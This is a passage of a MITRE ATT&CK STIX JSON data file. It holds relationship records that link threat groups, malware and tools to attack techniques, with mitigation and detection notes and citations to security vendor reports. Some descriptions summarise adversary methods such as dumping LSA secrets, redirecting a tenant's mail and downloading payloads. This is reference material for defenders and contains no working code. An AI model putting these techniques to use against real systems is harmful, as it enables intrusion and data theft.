2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.435Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--a52edc76-328d-4596-85e7-d56ef5a9eb69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76428147-d359-4568-a1a2-7cc3da632da4","type":"relationship","created":"2019-06-21T17:24:21.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:45.844Z","description":"(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7643698c-2dc4-43ca-9d90-c656962dfecb","type":"relationship","created":"2020-10-21T17:01:35.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-10-22T01:34:58.656Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used mshta.exe to execute a HTA payload.(Citation: FireEye Metamorfo Apr 2018) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7644ad2b-1ee7-43f4-9b06-9928f6f9eb1a","type":"relationship","created":"2020-07-17T15:48:51.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.110Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can dump hashed passwords from LSA secrets for the targeted system.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7647807e-71b6-41e4-b0aa-f23e68b411cd","created":"2022-06-10T17:26:05.234Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has set an Office 365 tenant level mail transport rule to send all mail in and out of the targeted organization to the newly created account.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T17:26:05.234Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--764b5d56-83a1-4c8d-824a-2021c7fe8052","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Dec 2015"},{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.582Z","description":"(Citation: Lotus Blossom Dec 2015)(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7","target_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--764f3883-da8b-421d-96ed-e14878bcc72e","created":"2024-03-01T17:17:37.209Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T17:17:37.209Z","description":"Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--764fd9f6-ea24-42fd-b289-dc03d688bb62","created":"2024-05-07T19:07:45.308Z","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T19:07:45.308Z","description":"(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76509eea-063a-4623-a5e4-25372b82992d","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \"0\" indicates LLMNR is disabled.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--76529ecd-8925-4dab-be29-45705fa233b4","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T16:44:13.759Z","description":"Monitor for newly constructed network connections that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as RDP, telnet, SSH, and VNC. Monitor network connections involving common remote management protocols, such as ports tcp:3283 and tcp:5900, as well as ports tcp: 3389 and tcp:22 for remote login.\n\n","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7653431a-18ac-43da-8308-63c76ecf0c22","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-03-16T19:09:40.075Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7656cfa4-3e19-47c3-b0b7-7989b39ee148","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for newly constructed logon behavior across default accounts that have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7657acc8-12ba-4e39-a739-011674d94f58","created":"2023-03-26T18:01:16.848Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:01:16.848Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used the `Get-ManagementRoleAssignment` PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76588f90-79b8-4a61-ae07-3321393e5707","type":"relationship","created":"2020-03-02T18:49:28.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-27T17:57:28.588Z","description":"Network intrusion prevention systems and systems designed to scan and remove malicious email attachments or links can be used to block activity.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--765e3b13-60f4-4b34-b03f-0d8e738b0add","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.412Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) checks for antivirus and forensics software.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76625152-3f62-4a1e-a769-5503811b0276","type":"relationship","created":"2020-07-01T18:34:02.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-07-01T18:34:02.855Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a passive listener, capable of identifying a specific magic value before executing tasking, as a secondary command and control (C2) mechanism.(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7667e829-3602-410b-b3ea-614ed8d55607","type":"relationship","created":"2021-09-22T15:09:20.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T15:09:20.296Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) can download and execute JavaScript files.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76681016-c8a2-4dcf-bac5-4a58749f326d","type":"relationship","created":"2020-05-26T17:14:42.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-26T17:14:42.955Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used an open-source tool to exploit a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers.(Citation: Symantec Whitefly March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--766f4421-06f4-4ce1-9d67-85572dbdbeb1","type":"relationship","created":"2020-02-21T17:07:54.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T20:35:42.620Z","description":"Ensure that local administrator accounts have complex, unique passwords across all systems on the network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76701e52-cfce-4294-91e4-485fad7c8f0f","type":"relationship","created":"2020-05-26T19:43:49.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T19:43:49.669Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has established persistence via the Startup folder or Run Registry key.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--767ce5fe-06f5-4efc-aa41-129fad867c65","created":"2022-07-14T19:35:43.771Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has run scripts to identify file formats including Microsoft Word.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-14T19:35:43.771Z","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--767e6737-fcf8-48ae-a6a3-045c9a03b0e2","created":"2023-02-08T20:35:26.820Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T20:35:26.820Z","description":"\n[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to upload files from a compromised system.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7687477f-ea5e-4a3f-806d-e561f5c8adb4","type":"relationship","created":"2021-04-19T19:18:47.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T19:18:47.849Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has encrypted documents with RC4 prior to exfiltration.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--768a6678-4823-4af5-bfd9-1a92c562b9f2","type":"relationship","created":"2020-06-26T14:21:13.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-26T14:21:13.786Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used COM scriptlets to download Cobalt Strike beacons.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--768ba293-130e-4f0e-935f-f477187524ae","type":"relationship","created":"2019-09-24T14:19:05.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:02.401Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a command to clear system event logs.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--768dd2dd-8840-45e3-ad15-c30512a35c05","created":"2022-07-25T18:32:06.486Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can use rundll32.exe to gain execution.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:32:06.486Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--768eb217-8d95-40aa-b697-15c426d2c99a","created":"2024-05-22T20:45:16.979Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:45:16.979Z","description":"[IPsec Helper](https://attack.mitre.org/software/S1132) contains an embedded XML configuration file with an encrypted list of command and control servers. These are written to an external configuration file during execution.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--b5dc19b7-588d-403b-848d-c868bd61ffa1","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7692e54c-eb9e-4051-afab-e810dff4cd77","type":"relationship","created":"2020-08-13T18:21:08.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.397Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can use HTTPS in communication with C2 web servers.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7696d163-7556-47e2-9ade-25924311fba6","created":"2022-08-07T15:36:18.985Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo 